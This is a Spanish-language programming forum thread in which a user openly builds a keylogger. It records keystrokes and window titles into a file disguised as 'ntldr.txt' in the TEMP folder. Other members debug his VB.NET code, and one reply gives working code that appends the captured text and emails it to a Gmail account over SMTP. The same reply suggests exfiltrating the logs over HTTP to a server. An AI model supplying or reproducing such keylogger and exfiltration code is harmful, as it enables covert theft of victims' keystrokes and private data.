Título: [Ayuda]Problema con streamwriter
Publicado por: .:Weeds:. en 31 Diciembre 2010, 16:53 pm
Bueno estoy haciendo un keylogger, ya me lee las pulsaciones y los nombres de las ventanas, y lo que hago es que lo mande a un correo gmail, un archivo situado en TEMP que es donde se guarda todo, el problema es que no me deja guardarlo más de una vez. MyEscritor = New StreamWriter(Environ("TEMP") & "\ntldr.txt") MyEscritor.Write(TextBox1.Text) MyEscritor.Flush() MyEscritor.Close() MyEscritor = Nothing
Me tira este error al intentar guardarlo por segunda vez. IO Exception El proceso no puede obtener acceso al archivo 'C:\Users\Weeds\AppData\Local\Temp\ntldr.txt' porque está siendo utilizado en otro proceso. Que puedo hacer ahi? Saludos y Feliz NaviAño Nuevo!! :laugh:
Título: Re: [Ayuda]Problema con streamwriter
Publicado por: [D4N93R] en 31 Diciembre 2010, 19:24 pm
Primero que todo, Crea un FileStream, se da mejor para eso. Y segundo, mete todo en un try y en el finally haces el Close.
Saludos!
Título: Re: [Ayuda]Problema con streamwriter
Publicado por: raul338 en 31 Diciembre 2010, 21:08 pm
en lugar de instanciar un StreamWriter usa File.CreateText :)
Título: Re: [Ayuda]Problema con streamwriter
Publicado por: .:Weeds:. en 1 Enero 2011, 19:51 pm
El problema creo que está en que lo envio por email y se queda en uso el fichero de texto. MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
Pero al hacer esto tampoco me permite usarlo MyMailMessage = nothing
:huh: :huh: :huh: Saludos y feliz año!
Título: Re: [Ayuda]Problema con streamwriter
Publicado por: .::IT::. en 1 Enero 2011, 20:02 pm
Hombre subir tu codigo para probarlo haber si te echo una mano!!!!!!
Título: Re: [Ayuda]Problema con streamwriter
Publicado por: .:Weeds:. en 1 Enero 2011, 20:47 pm
Es algo sencillo pero que no quire funcionar xD Try 'Crear archivo Dim sw As StreamWriter = File. CreateText(Environ("TEMP") & "\ntldr.txt") sw.WriteLine(TextBox1.Text) sw.Flush() sw.Close() 'Email Dim MyMailMessage As New MailMessage() MyMailMessage.From = New MailAddress("lala@gmail.com") MyMailMessage.To.Add("lala@gmail.com") MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss") MyMailMessage.Body = "Abre el archivo adjunto." MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt")) Dim SMTPServer As New SmtpClient("smtp.gmail.com") SMTPServer.Port = 587 SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala") SMTPServer.EnableSsl = True SMTPServer.Send(MyMailMessage) MyMailMessage = Nothing SMTPServer = Nothing Catch ex As SmtpException End Try
A la segunda vez que lo intento guardar me salta la excepción.
Título: Re: [Ayuda]Problema con streamwriter
Publicado por: .::IT::. en 4 Enero 2011, 23:17 pm
prueba con lo siguiente(lo puse en un Button): Dim sw As StreamWriter Dim RutaFile As String = Environ("TEMP") & "\ntldr.txt" Dim MyMailMessage As MailMessage = New MailMessage() Dim SMTPServer As SmtpClient Try 'esta linea permite insertar texto en un archivo, si no existe lo crea sw = File. AppendText(RutaFile ) 'agregar linea del texbox y cerrar el StreamWriter sw.WriteLine(Me.TextBox1.Text) sw.Close() 'Email MyMailMessage.From = New MailAddress("lala@gmail.com") MyMailMessage.To.Add("lala@gmail.com") MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss") MyMailMessage.Body = "Abre el archivo adjunto." MyMailMessage.Attachments.Add(New Attachment(RutaFile)) SMTPServer = New SmtpClient("smtp.gmail.com") SMTPServer.Port = 587 SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala") SMTPServer.EnableSsl = True SMTPServer.Send(MyMailMessage) MessageBox.Show("Ok") Me.TextBox1.Text = "" Catch ex As SmtpException MessageBox.Show(ex.Message, "SmptError", MessageBoxButtons.OK, MessageBoxIcon.Error) Catch ex As Exception MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error) Finally 'aqui esta lo que faltaba MyMailMessage.Attachments.Dispose() End Try
Como podras darte cuenta faltaba liberar los recursos adjuntos con MyMailMessage.Attachments.Dispose()
Nota: Tio yo que tu enviaria la info de ese archivo por http a un servidor es mas rapido, osea usar formulairos html en un server para poder enviar los datos del usando HttpWebRequest Saludos!!!.
Título: Re: [Ayuda]Problema con streamwriter
Publicado por: .:Weeds:. en 7 Enero 2011, 23:02 pm
Gracias como siempre .:IT:., tus codes me salvan la vida xD Por cierto como que por http? Podrias explicarme eso?
Saludos.
|